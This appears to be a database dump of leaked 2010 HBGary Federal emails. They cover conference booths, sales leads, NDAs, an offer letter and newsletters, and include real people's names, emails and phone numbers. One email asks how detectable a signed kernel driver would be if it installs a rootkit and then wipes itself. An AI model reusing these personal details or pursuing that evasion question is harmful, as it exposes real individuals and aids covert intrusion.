\'aaron@hbgary.com\'\r\nCc: Matthew Steckman\r\nSubject: GovCon6 Booth\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMatthew tells me you&#8217;re ready to present at GovCon6.&nbsp; A\r\nbooth has been reserved for you, and I look forward to having you there.&nbsp;\r\nConference attendee information is available here: http://www.palantir.com/government/conference.&nbsp;\r\n\r\n&nbsp;\r\n\r\nLet me know if you&#8217;d like to keep the same 100-word company\r\ndescription as last time for the conference literature:\r\n\r\n&nbsp;\r\n\r\nHBGary, Inc is the leading\r\nprovider of solutions to detect, diagnose and respond to advance malware\r\nthreats in a thorough and forensically sound manner. We provide the active\r\nintelligence that is critical to understanding the intent of the threat, the\r\ntraits associated with the malware and information that will help make your\r\nexisting investment in your security infrastructure more valuable.\r\n\r\n&nbsp;\r\n\r\n-Dan\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com\r\n| 650.248.1909\r\n_________________________________________________________\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7827,'aaron_hbgary_com/7827.html'),(12079,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008976.M511307P14101Q6934.eml','\"Dan Woods\" <dwoods@palantir.com>','Re: GovCon6 Booth','Thanks dan I&#39;ll get it to ya.AaronSent from my iPhoneOn Sep 20, 2010, at 8:37 PM, Dan Woods &lt;dwoods@palantir.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nJust a quick heads up that we\r\nneed the final company descriptions and logo images by end of day tomorrow\r\n(Tuesday).  If I don’t hear back, I’ll go with the same from last time.  I\r\nhaven’t heard from you and wanted to send a second note just in case.\r\n\r\n \r\n\r\n-Dan\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Dan Woods \r\n\r\nSent: Wednesday, September 15, 2010 3:00 PM\r\nTo: &#39;aaron@hbgary.com&#39;\r\nCc: Matthew Steckman\r\nSubject: GovCon6 Booth\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\n\r\n \r\n\r\nMatthew tells me you’re ready to present at GovCon6.  A\r\nbooth has been reserved for you, and I look forward to having you there. \r\nConference attendee information is available here: http://www.palantir.com/government/conference. \r\n\r\n\r\n \r\n\r\nLet me know if you’d like to keep the same 100-word company\r\ndescription as last time for the conference literature:\r\n\r\n \r\n\r\nHBGary, Inc is the leading\r\nprovider of solutions to detect, diagnose and respond to advance malware\r\nthreats in a thorough and forensically sound manner. We provide the active\r\nintelligence that is critical to understanding the intent of the threat, the\r\ntraits associated with the malware and information that will help make your\r\nexisting investment in your security infrastructure more valuable.\r\n\r\n \r\n\r\n-Dan\r\n\r\n \r\n\r\n \r\n\r\n_________________________________________________________\r\nDan Woods\r\nPalantir Technologies | Forward Deployed Engineer\r\ndwoods@palantir.com\r\n| 650.248.1909\r\n_________________________________________________________\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4721,'aaron_hbgary_com/4721.html'),(12080,'2010-09-21','\"Tony Cole via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008976.M710387P14101Q6935.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Tony Cole has indicated you are a Friend:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Tony\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Tony Cole\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH TONY COLE BE A GOOD IDEA?\r\n  Have a question? Tony Cole\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Tony Cole and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',11979,'aaron_hbgary_com/11979.html'),(12081,'2010-09-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008976.M928554P14101Q6936.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Leavy Penny\" <penny@hbgary.com>,\"Slapnik Bob\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','CDC','Do we have any contact with Tom Madden at CDC? He\'s the CISO. My buddy\r\nCarl can get us an audience.\r\n\r\nTed\r\n',14711,'aaron_hbgary_com/14711.html'),(12082,'2010-09-21','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008977.M368412P14101Q6937.eml','\"Barr Aaron\" <aaron@hbgary.com>','Carls customer','\r\n\r\n',12636,'aaron_hbgary_com/12636.html'),(12083,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008980.M903656P14101Q6938.eml','\"Melanie Gamarra\" <melanie@executivebiz.com>','Re: Corporate Headshot','Hi Melanie,\r\n\r\nI was cleaning things up and realized I don\'t believe I replied to this.\r\n\r\nAttached is a higher resolution headshot.\r\n\r\nAaron\r\n\r\n',4154,'aaron_hbgary_com/4154.html'),(12084,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008981.M733125P14101Q6939.eml','\"Greg Hoglund\" <greg@hbgary.com>','Proposal','Hey Greg,\r\n\r\nThis proposal we have is due Thursday and I am really going to need some advanced knowledge of windows 64 bit vista and 7 security on digital signing of drivers and what is forensically findable.\r\n\r\nBasically if someone was developing a digitally signed kernel level driver for those platforms, assumed signed by Microsoft, the driver was installed, it then installed a rootkit and then wiped itself.\r\n\r\nWhat is its digital footprint.  What is forensically identifiable about that driver.  Where would you find it.  How could you then take that information and trace it to other malware.  Is it possible to completely wipe and not be discoverable?\r\n\r\nSome case study on Stuxnet would be very helpful I think.\r\n\r\nCall when you can.  If you have it I will likely need a couple hours of your time over the next few days to get all this right to ensure we win, which I think we can.\r\n\r\nAaron',16442,'aaron_hbgary_com/16442.html'),(12085,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008982.M175964P14101Q6940.eml','\"Dan Woods\" <dwoods@palantir.com>','Re: GovCon6 Booth','HBGary Federal is a leading provider of cyber security solutions in information operations, threat intelligence, and incident response. &nbsp;We provide advanced capabilities to produce better indications and warning, improve our understanding of the attributable characteristics of threats, and deliver continuous incident response for mission assurance and business continuity.Aaron,&nbsp;Just a quick heads up that we need the final company descriptions and logo images by end of day tomorrow (Tuesday).&nbsp; If I don’t hear back, I’ll go with the same from last time.&nbsp; I haven’t heard from you and wanted to send a second note just in case.&nbsp;-Dan&nbsp;&nbsp;From:&nbsp;Dan Woods&nbsp;Sent:&nbsp;Wednesday, September 15, 2010 3:00 PMTo:&nbsp;\'aaron@hbgary.com\'Cc:&nbsp;Matthew SteckmanSubject:&nbsp;GovCon6 Booth&nbsp;Aaron,&nbsp;Matthew tells me you’re ready to present at GovCon6.&nbsp; A booth has been reserved for you, and I look forward to having you there.&nbsp; Conference attendee information is available here:&nbsp;http://www.palantir.com/government/conference.&nbsp;&nbsp;Let me know if you’d like to keep the same 100-word company description as last time for the conference literature:&nbsp;HBGary, Inc is the leading provider of solutions to detect, diagnose and respond to advance malware threats in a thorough and forensically sound manner. We provide the active intelligence that is critical to understanding the intent of the threat, the traits associated with the malware and information that will help make your existing investment in your security infrastructure more valuable.&nbsp;-Dan&nbsp;&nbsp;_________________________________________________________Dan WoodsPalantir Technologies | Forward Deployed Engineerdwoods@palantir.com&nbsp;| 650.248.1909_________________________________________________________&nbsp;',5877,'aaron_hbgary_com/5877.html'),(12086,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008982.M702686P14101Q6941.eml','\"Aaron Spring\" <aspring@springdesigngroup.com>,\"Aaron Spring\" <aspring@springdesigngroup.com>','Offer Letter','Aaron,\r\n\r\nPlease find the attached offer letter.  As a small company we are lean, very flexible, and have the potential for significant growth all dependent on the work we put into it.  There will be opportunities for professional growth and advancement as well the potential for equity in the company as reward for performance and company growth.\r\n\r\nLook forward to your response,\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n',13335,'aaron_hbgary_com/13335.html'),(12087,'2010-09-21','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008982.M912055P14101Q6942.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','Re: CDC','No we haven&#39;t but that would be a great contact.  We are working with a reseller Foreground Securities that attempted to replace MIR last month but they were too far along in their procurement.... \r\nOn Mon, Sep 20, 2010 at 7:49 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nDo we have any contact with Tom Madden at CDC? He&#39;s the CISO. My buddy\r\nCarl can get us an audience.\r\n\r\nTed\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',13073,'aaron_hbgary_com/13073.html'),(12088,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008983.M117970P14101Q6943.eml','\"Greg Hoglund\" <greg@hbgary.com>','Ifeelgoods Aims To Help Retailers Replace Traditional Incentives With Virtual Goods','Ifeelgoods Aims To Help Retailers Replace Traditional Incentives With Virtual Goods\r\n\r\nHere’s an interesting one: a new startup aims to help retailers replace traditional promotions and incentives such as coupons and discounts with virtual goods and virtual currencies for a wide range of social games and networks. The American/French company, dubbed Ifeelgoods, is launching today.\r\n\r\nIfeelgoods was formed by e-commerce entrepreneur Michael Amar, former Shop.org Executive Director Scott Silverman and alumni from Google, DAOODA and PayPal. \r\nThe company is backed by multiple investment firms such as Tugboat Ventures, Quest Venture Partners and Kima Ventures alongside a couple of angel investors like Adbrite CEO Iggy Fanlo, Vincent Worms and Nicolas El Baze (of investment firm Partech International) and David Scacco of MyLikes.\r\n\r\nIfeelsgoods’ goal is to make online retail promotions more effective and less expensive by using relevant virtual goods and currencies from the most popular social games in lieu of traditional promotions such as discounts, coupon codes or gifts with purchase.\r\n\r\nIt comes in the form of a hosted solution that lets retailers manage their own virtual goods promotion offers, redemption and related customer services.\r\n“In retail, incentives and promotions are critical sales tools but they are one-size-fits-all and can be very expensive,” says Michael Amar, Ifeelgoods CEO and co-founder. \r\n“As social networks and social games become even more integral in people’s daily interactions and personal relationships, it’s evident that retailers who learn how to capitalize on these trends will have a powerful advantage over their competition.”\r\n\r\nIfeelgoods will partner with (unnamed) publishers of social games to make their virtual goods and virtual currencies available to retailers to offer as incentives to customers. They will in turn benefit from exposure to existing and new players and increased sales of virtual goods and currencies, Ifeelgoods hopes.\r\n\r\nExecutives from Ifeelgoods, aside from Amar and Silverman, include Dimitri Ducourtieux, COO and Vice President of Europe, who previously led major technical projects for top European retailers including Otto Group, Intermarché and Yves Rocher; Suchit Dash, who joins as its Vice President of Product after an extensive career at PayPal; and Vida Ha, who spent five years as a senior software engineer at Google before joining Ifeelgoods as Lead Engineer.\r\n\r\nThe company can also boast an impressive advisory board; it includes people like Iggy Fanlo (CEO of AdBrite), Siva V. Kumar (Co-Founder &amp; CEO of TheFind), David Marcus (CEO of Zong), David Selinger (CEO of RichRelevance) and Meir Zohar (Founder and CEO, eXelate).\r\n\r\nIfeelgoods is headquartered in Menlo Park, California and has locations in Washington, DC and Paris, France.\r\n         \r\n\r\n     \r\nSent from my iPad\r\n',2715,'aaron_hbgary_com/2715.html'),(12089,'2010-09-21','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','/aaron@hbgary.com/new/1297008983.M354396P14101Q6944.eml','aaron@hbgary.com','Re: ManTech/HB Gary Non-Disclosure Agreement-M-II','\r\nI will give you a buzz today or tomorrow Justin C. MentzerMission, Cyber &amp; Technology Solutions Group ManTech International CorporationOffice 703.388.2122Cell 703.483.1715Fax 703.388.2148&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Monday, September 20, 2010 01:59 PMTo: Kassaie, Rachel CCc: Mentzer, Justin CSubject: Re: ManTech/HB Gary Non-Disclosure Agreement-M-II&nbsp;\r\nRachel,Attached are the M-II and Pegasus signed NDAs.Aaron',5786,'aaron_hbgary_com/5786.html'),(12090,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008983.M552815P14101Q6945.eml','\"Mentzer, Justin C\" <Justin.Mentzer@mantech.com>','Re: ManTech/HB Gary Non-Disclosure Agreement-M-II','Rgr.  I will be in Cincinnati working on the green eggs prop until Thursday.  Saturday I leave for Seattle for a wonderful week of vacation.AaronSent from my iPhone\r\nOn Sep 21, 2010, at 6:24 AM, &quot;Mentzer, Justin C&quot; &lt;Justin.Mentzer@ManTech.com&gt; wrote:\r\nI will give you a buzz today or tomorrow \r\nJustin C. Mentzer\r\nMission, Cyber &amp; Technology Solutions Group \r\nManTech International Corporation\r\nOffice 703.388.2122\r\nCell 703.483.1715\r\nFax 703.388.2148 \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, September 20, 2010 01:59 PMTo: Kassaie, Rachel C\r\nCc: Mentzer, Justin C\r\nSubject: Re: ManTech/HB Gary Non-Disclosure Agreement-M-II\r\n \r\nRachel,Attached are the M-II and Pegasus signed NDAs.Aaron\r\n',8569,'aaron_hbgary_com/8569.html'),(12091,'2010-09-21','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008983.M762604P14101Q6946.eml','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Swallows, Jason P\" <Jason.Swallows@ManTech.com>,\"Hughes, Michael Sean\" <Michael.Hughes@ManTech.com>,\"Geyster, Christopher R\" <Christopher.Geyster@ManTech.com>,aaron@HBGary.com,\"Ott, Stephen D\" <Stephen.Ott@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Grays, Cheryl D\" <Cheryl.Grays@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,Leo.chambliss@macb.com,james.berman@inceptre.com,kathyrondon@aol.com,jason.syversen@siegetechnologies.com,\"Harris, Rachel A\" <Rachel.Harris@ManTech.com>,obrienp@thebuffalogroup.com,schleep@thebuffalogroup.com,\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>,\"A. Justin Wilder\" <justin.wilder@siegetechnologies.com>,\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','Canceled: Gatorbait Daily Standup','\r\n\r\n\r\n\r\n\r\nCanceled: Gatorbait Daily Standup\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, September 21, 2010 9:00 AM-9:30 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, 1st Floor Proposal Center and Telecon\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nNothing of note to pass on.&nbsp; Green Team this afternoon, Gold Team tomorrow.&nbsp; Will advise if anything is needed.&nbsp; \r\n\r\n-Amanda \r\n\r\n\r\n',5834,'aaron_hbgary_com/5834.html'),(12092,'2010-09-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008984.M12502P14101Q6947.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Social Media Training','Hey Daniel,\r\n\r\nReally interested to get your feedback on how we broke out the quote and the training with the pen test timelines.  BTW, looks like Dr. Scott and his wife no longer are on Facebook.  If your not a frequent user, which they didn\'t seem to be.  For most I usually recommend a series of other steps that can adequately provide protection as long as they implement them.\r\n\r\nOne thing I forgot to add to the quote was an initial pen testing report and a follow up mid and end year to quantify benefit of the training, what people have picked up and haven\'t picked up.  This is an important piece.  I will ask Ted to add and if everything else is ok we can resend a final quote.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal, LLC\r\n719.510.8478\r\n\r\n\r\n\r\n',4090,'aaron_hbgary_com/4090.html'),(12093,'2010-09-21','arc@westfields.net','/aaron@hbgary.com/new/1297008984.M235300P14101Q6948.eml','federal@hbgary.com','AS&T Forecast Business Opportunity Posting','\r\nThe NRO/AS&T Directorate is pleased to announce the release of a Forecast Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP. The Effort Type is Hardware.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Forecast Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',2432,'aaron_hbgary_com/2432.html'),(12094,'2010-09-21','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008984.M425949P14101Q6949.eml','\"Ted Vera\" <ted@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Leavy Penny\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: CDC','Ted,\r\n\r\nI don\'t know Tom Madden, so yes please line it up.  They must have more than\r\none CISCO because that is the title of Mike Rider at CSC.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, September 20, 2010 10:50 PM\r\nTo: Maria Lucas; Leavy Penny; Slapnik Bob\r\nCc: Barr Aaron\r\nSubject: CDC\r\n\r\nDo we have any contact with Tom Madden at CDC? He\'s the CISO. My buddy\r\nCarl can get us an audience.\r\n\r\nTed\r\n\r\n',3187,'aaron_hbgary_com/3187.html'),(12095,'2010-09-21','\"Mike Finan\" <mike.finan@carahsoft.com>','/aaron@hbgary.com/new/1297008984.M676011P14101Q6950.eml','\"Aaron Barr\" <aaron@hbgary.com>','Full Program Available - Virtualization, Cloud Computing & Green IT Summit','\r\n  \r\nTo view an online version of this email, click here.\r\n\r\n\r\n\r\nbody {\r\nfont-family:Arial, Helvetica, sans-serif; font-size:12px\r\n}\r\na, \r\na:link,\r\na:visited,\r\na:focus,\r\na:hover,\r\na:active {\r\ncolor: #FFFFFF;\r\ntext-decoration: none;\r\nfont-weight:bold\r\n}\r\na:focus,\r\na:hover,\r\na:active {\r\ntext-decoration: underline;\r\nfont-weight:bold\r\n}\r\n\r\n	\r\n		\r\n			\r\n		\r\n		\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						\r\n						\r\n						\r\n						Register now for the Virtualization,\r\n						Cloud Computing &amp; Green IT Summit!\r\n						\r\n						The VCG Summit is the only conference that demonstrates the power of virtual technologies through government case studies and user examples AND provides future-looking education about how these technologies can be implemented in the years to come. \r\n						\r\n						\r\n						&nbsp;\r\n						\r\n						 \r\n						\r\n						The full conference is just $195 for government employees!\r\n						\r\n						Carahsoft clients and partners: FREE Expo passes are also available, which include admission to the Exhibit Hall and more! \r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						Virtualization, Cloud Computing&nbsp;&amp; Green IT Summit Tracks: \r\n						\r\n						\r\n					\r\n					\r\n						\r\n						\r\n						Track 1 = Cloud Computing \r\n						\r\n						\r\n						\r\n						\r\n						Track 2 = Green IT \r\n						\r\n						\r\n						\r\n						\r\n						Track 3 = Virtualization \r\n						\r\n						\r\n					\r\n				\r\n			\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n						\r\n						TIME \r\n						\r\n						\r\n						\r\n						\r\n						CONFERENCE DAY 1: TUESDAY, OCTOBER 26TH \r\n						\r\n						\r\n					\r\n					\r\n						8:45 am\r\n						Exhibition Keynote\r\n						Doug Bourgeois, VP, Federal Chief Cloud Executive, VMware\r\n					\r\n					\r\n						10:00 am \r\n						1-1: Fundamentals of Cloud Computing\r\n						2-1: Environmental Considerations of Data \r\n						Center Consolidation \r\n						3-1: Virtualization 101\r\n					\r\n					\r\n						11:15 am\r\n						1-2: The Anatomy of a Cloud: Building a Cloud Computing Infrastructure\r\n						2-2: Power Management Strategies &amp; Challenges\r\n						3-2: The Virtual Organization\r\n					\r\n					\r\n						1:45 pm\r\n						1-3: That\'s Pretty Standard: How Standards Can Help Deliver on the Promise of Cloud Computing\r\n						2-3: The Green Business Case for Virtualization: Regulations and the CO2 Trade in Congress\r\n						3-3: Virtualization &amp; Security\r\n					\r\n					\r\n						3:00 pm\r\n						Plenary Session\r\n						FCW&rsquo;s Rising 